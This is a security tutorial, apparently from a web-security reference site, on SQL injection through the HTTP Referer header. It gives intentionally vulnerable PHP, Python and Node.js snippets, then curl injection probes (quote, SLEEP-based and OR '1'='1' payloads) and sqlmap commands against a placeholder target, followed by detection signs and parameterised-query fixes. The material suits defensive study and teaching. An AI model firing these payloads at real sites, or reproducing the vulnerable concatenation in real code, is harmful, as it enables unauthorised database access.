Referer-header SQL injection is the close cousin of User-Agent SQL injection: same shape, same INSERT-into-an-analytics-table pattern, slightly different code locations. The Referer header reports the page that linked to (or otherwise referenced) the current request, and apps store it for click-attribution, marketing analytics, anti-CSRF logging, and "where do our users come from" dashboards. Every one of those storage paths is a candidate for SQL injection if the developer concatenated the value into the query.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map. If you have already read the User-Agent deep dive, most of this will feel familiar; the differences are in the storage contexts and the sqlmap flag tuning.
In short: Referer-header SQL injection is the case where an application reads the
RefererHTTP request header and concatenates the value into a SQL query, almost always inside marketing-attribution logging, anti-CSRF write-throughs, or click analytics. The exploit pattern is identical to User-Agent injection: one curl command with a crafted-H "Referer: ..."value. The fix is one parameterised query plus a URL-shape validation (urllib.parse.urlparsein Python). sqlmap tests Referer only at--level=3or higher, or explicitly with--referer='https://x.test/*'using sqlmap's universal*injection-point marker. This vector shares all the same code paths as User-Agent injection, so an audit that finds one usually finds the other in the same middleware.
Where does Referer SQL injection actually show up?
- Click-attribution analytics. "Where did this user come from?" Writes
refererper session or per request to anattributionortraffic_sourcestable. - Marketing campaign tracking. "Which campaigns drive signups?" The signup form handler reads Referer, writes it to a
signups.referrercolumn. - Anti-CSRF logging. "Log every POST request where the Referer does not match our own origin." The logging writes the unexpected Referer value.
- Spam and abuse detection. "Is this Referer on our blocklist?" Lookup against a
referer_blocklisttable.
The marketing-campaign-tracking case is the most exposed. Marketing analytics plugins from 2015-2019 had a string of CVEs for exactly this pattern: hand-rolled INSERT into a tracking table with the Referer concatenated.
The vulnerable code
PHP, the campaign-tracking case:
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$sql = "INSERT INTO signups (email, referrer, signed_up_at)
VALUES (?, '$referer', NOW())";
$stmt = $pdo->prepare($sql);
$stmt->execute([$email]);Same bug as the User-Agent case: prepared statement used for some columns, not for the Referer.
Python with Flask:
referer = request.headers.get('Referer', '')
db.execute(
f"INSERT INTO signups (email, referrer) VALUES (?, '{referer}')",
(email,)
)Node.js with Express:
const referer = req.headers.referer || '';
await pool.query(
`INSERT INTO signups (email, referrer) VALUES ($1, '${referer}')`,
[email]
);Why developers think it's safe
The mental model failure is identical to User-Agent injection. The Referer feels like infrastructure: it is set by the browser, the developer never asked the user to type it, so it must be safe. It is not. Any HTTP client can send any value. The browser is one of many possible clients.
A second pattern specific to Referer: developers validate the Referer matches their own origin (for CSRF protection) on the API endpoint, then log the request to a different table without re-validating. The validation step never wrote anywhere; the logging step did. The bug lives in the logger.
A third pattern: developers strip query strings from the Referer ("we do not want to leak query params") before storage. Stripping is not sanitisation. The path component still contains whatever the attacker wanted to put there. Single quotes survive trivially.
How do you test the Referer header for SQL injection by hand?
For an INSERT context (the common case), boolean probes do not produce a visible response difference. Use error-trigger first:
curl -i \
-H "Referer: https://example.test/page'" \
"https://target.example/signup" 2>&1 | grep -E '500|error'A 500 response means the quote landed in a SQL context.
Time-based:
curl -w "%{time_total}\n" \
-H "Referer: https://x.test/', (SELECT SLEEP(5)), '" \
"https://target.example/signup"5+ second response confirms it.
For a SELECT context (anti-CSRF logging that reads Referer back, or a referer-blocklist lookup), boolean probes work:
curl -s -H "Referer: https://example.test/' OR '1'='1" \
"https://target.example/api/action" \
-o probe.html
diff baseline.html probe.html | headWhat is the sqlmap command for Referer injection?
Discovery with --level=3:
sqlmap -u "https://target.example/signup" \
--data="email=test@test.test" \
--level=3 --batch --random-agent--level=3 enables Referer and User-Agent testing per the sqlmap official Usage wiki.
Explicit Referer targeting:
sqlmap -u "https://target.example/signup" \
--data="email=test@test.test" \
--referer="https://example.test/*" \
--batchThe * marks the injection point.
Test only the Referer parameter, faster:
sqlmap -u "https://target.example/signup" \
--data="email=test@test.test" \
-p referer --level=3 --batchOnce injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.
Detection signals
- Referer values containing SQL syntax. Quotes, dashes, parentheses, keywords. Legitimate Referers are URLs; any value that does not parse as a URL is suspicious.
- Referer values longer than ~500 bytes. Real URLs cap well below that. Exploitation payloads are usually larger.
- Referer values pointing to obviously crafted hostnames (
evil.example,attacker.test). Not always indicative of an exploit attempt, but worth noting in audit logs. - The standard rule:
information_schemareads from the application user.
How do you defend against Referer SQL injection?
Parameterise the INSERT (the OWASP SQL Injection Prevention Cheat Sheet covers every stack):
db.execute(
"INSERT INTO signups (email, referrer) VALUES (?, ?)",
(email, request.headers.get('Referer', '')[:500])
)Validate the value is a URL (rejects most non-URL payloads):
from urllib.parse import urlparse
def safe_referer(raw):
if not raw:
return ''
try:
u = urlparse(raw)
if u.scheme in ('http', 'https') and u.netloc:
return raw[:500]
except ValueError:
pass
return ''Truncate to a sensible length before storage. 500 bytes accommodates legitimate URLs (which top out around 200 bytes for normal use) and rejects payloads that need to carry SQL plus extraction logic.
Defence at the infrastructure level
- Schema constraint. Declare the
referer/referrercolumn asVARCHAR(500)or similar. The database enforces the cap. - Least-privilege database user for the analytics path. INSERT into one table, nothing else.
- WAF rules on Referer payload patterns. Defence in depth.
Common defence mistakes
- Stripping query strings and considering the Referer "cleaned". Stripping is not sanitisation. The path component still carries whatever the attacker wanted.
- Validating Referer matches your own origin (for CSRF) and assuming logging is also safe. Two separate code paths. Both need their own defence.
- URL-encoding the value and trusting the encoded form. URL encoding survives concatenation.
%27decodes to'inside the database string the moment the value is used. Defence is parameterisation. - Logging the value before parameterising other DB writes for the same request. Order of operations: validate, parameterise, then write everywhere.
Where to go next
- User-Agent SQL injection, the closest sibling vector
- Cookie SQL injection, another high-volume header case
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- RFC 7231 §5.5.2: HTTP Referer headerdatatracker.ietf.org





